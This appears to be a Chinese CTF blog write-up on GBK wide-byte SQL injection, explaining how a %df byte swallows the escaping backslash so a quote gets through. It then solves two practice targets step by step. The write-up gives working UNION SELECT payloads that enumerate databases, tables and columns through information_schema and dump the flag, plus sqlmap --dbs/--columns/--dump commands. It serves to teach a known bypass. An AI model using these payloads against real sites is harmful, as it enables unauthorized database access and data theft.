宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号’,就会被自动转义\’,使得多数注入攻击无效),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时’前的\就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。

  GBK 占用两字节

  ASCII占用一字节

  PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。

  输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。

  %DF’ :会被PHP当中的addslashes函数转义为“%DF\'” ,“\”既URL里的“%5C”,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗

例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=

其对应的sql就是:

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

URLdecode解码

%23: ’

%27: #

例题:

靶机:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

先尝试单引号?id=1’  ?id=1%27,发现页面输出的

引号被转义了,在前面加了一个 \ 符号

尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了

构造:?id=1%df%27

报错

再构造:?id=1%df%df%23

查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字所以得知此题存在宽字节注入

开始爆数据库:

?id=1%df%27 order by 2#

列数得知 2列。

爆库:

?id=-1%df%27 union select 1,database()%23

数据库:sae-chinalover

爆列表:

?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23

爆出这些表:

ctf,ctf2,ctf3,ctf4,gbksqli,news

爆字段:

?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

字段:id flag

查询关键字:

?id=-1%df%27 union select 1,flag from ctf4%23

利用Sqlmap:

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"  --dbs

跑出库

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  --columns

跑字段:

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  -C flag --dump

跑出flag

例2:

靶机:安全实验室注入关3

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php、

输入payload

?id=1%df%27 报错

?id=1%df%df%23 页面正常,存在宽字节注入

 

爆列数

?id=1%df%27 order by 3%23

?id=1%df%27 order by 4%23

发现只有三列:

爆数据库名:

?id=1%df%27 union select 1,2,database()%23

库名:mydbs

爆表名:

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23

发现报错。。。可能有过滤

那么把mydbs转成16进制:0x6d79646273 (..字符转16进制即可,要转对,有个网址16进制换是转错的。。浪费我好多时间)

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23

得出表名:sae_user_sqli4

爆字段:

sae_user_sqli4 ->7361655f757365725f73716c6934

?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23

得出三个字段:id,title_1,content_1

爆关键字:

?id=1%df%27 union select 1,group_concat(id),group_concat(content_1)  from sae_user_sqli4%23

得到flag

CTF—WEB—sql注入之宽字节注入的更多相关文章

  1. SQL注入:宽字节注入

    了解GBK编码 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的 ...

  2. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  3. SQL宽字节注入

    0x00 概述 - 什么是宽字节注入? 宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可 -宽字节注入的条件 1) 数据库查询设置为GBK编码 2 ...

  4. GBK宽字节注入SQL

    SQL注入:宽字节注入(GBK双字节绕过) 2015-06-09lyiang 宽字节注入的作用是非常大的,实际上在代码层的防御一般不外乎两种,一是反斜杠转义,而就是replace替换成空字节,之前的替 ...

  5. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  6. SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}

    首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...

  7. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  8. SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入

    1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...

  9. Mysql宽字节注入(转)

    尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如g ...

随机推荐

  1. 安装驱动模块ko

    1. make install 2. 3.手动加载驱动程序 [root@localhost template]# modprobe usbnet [root@localhost template]# ...

  2. fwrite()

    fwrite(),最好写strlen()个字节,否则可能有乱码

  3. monkeyrunner脚本录制和回放下载

    链接:https://pan.baidu.com/s/1Kye_E9u_WXeppFMlLhr_Cg 提取码:2coy

  4. 第06课:GDB 常用命令详解(下)

    本课的核心内容: disassemble 命令 set args 和 show args 命令 tbreak 命令 watch 命令 display 命令 6.1 disassemble 命令 当进行 ...

  5. 从rc文件访问字符串

    有.rc文件,其中包含用于exe文件详细信息的版本,说明等. 如何获得在代码内使用的值?例如,要获取ProductName. IDI_ICON1 ICON DISCARDABLE "abc- ...

  6. centos7时区同步(时间24小时格式显示)

    我们在服务器安装linux系统时,有时会因服务器时间或者时区不正确导致程序出现错误. 首先输入date命令查看当前的时间和时区.要注意CST   EDT 等时区的区别 介绍一种与时间服务器上时间同步的 ...

  7. DveOps路线指南

    学习DevOps所需的技能 1. 编程语言 python  java javascrit 2. 学习不同的操作系统概念 进程管理,线程和兵法,套接字,I/O管理,虚拟化,内存储存储和文件系统. 3. ...

  8. 写在centos7 最小化安装之后

    1.最小化安装之后首先解决联网问题(https://lintut.com/how-to-setup-network-after-rhelcentos-7-minimal-installation/) ...

  9. Git 下拉项目

    1.[VCS]> [Checkout  from  Version  Control] >  [Git] 2.项目Git路径 > [Clone]

  10. Java多线程和并发(六),yield函数和中断线程

    目录 1.yield函数 2.中断线程 六.yield函数和中断线程 1.yield函数 2.中断线程 (1)已经被抛弃的方法 (2)目前使用的方法